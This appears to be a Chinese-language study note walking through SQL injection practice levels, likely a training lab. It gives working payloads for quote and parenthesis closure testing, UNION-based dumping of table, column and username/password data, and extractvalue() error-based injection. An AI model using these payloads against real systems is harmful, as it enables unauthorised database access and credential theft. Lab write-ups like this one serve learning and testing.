最近做题都遇见sql题,感觉自己sql基础可能掌握的不太好,抽空复习一下
打开界面输入 '报错,注入点是单引号闭合,找到了,然后
' or true %23显示正确
接下来,确定有几列,' order by 3 %23 ,确定三列
查看回显位置,
接下来查看表名直接
' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23

直接看一下users表
' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" %23

' union select 1,group_concat(username,password),3 from users %23
测试是不是字符型类型,还是数值型类型
输入 1 and 1=1,1 and 1=2 如果回显一样就是字符型,不一样则是数值型
这道题回显不一样所以是数值型直接,
id=-1 select 1,2,3%23 其他步骤和上题一样

输入双引号没回显,单引号回显报错,猜测闭合方式为 ')然后注入
') union select 1,2,3 %23

后面步骤相同
测试发现闭合方式是 ")

第五关尝试完了以后发现,是用单引号闭合的,然后没回显位置,只会显示 you are in。这种情况大概率都是盲注,但是盲注太复杂试一下报错注入
- 爆数据库
- ?id=1' and extractvalue(1,concat(0x7e,database(),0x7e))--+
- 爆表名
- ?id=1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x23))--+
- 爆列名(字段)
- ?id=1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23))--+
- 爆值
- ?id=1' and extractvalue(1,concat(0x23,(select username from users limit 1,1),0x23))--+
- 这里也需要不断改变limit的条件,找到我们想要的表名,字段名!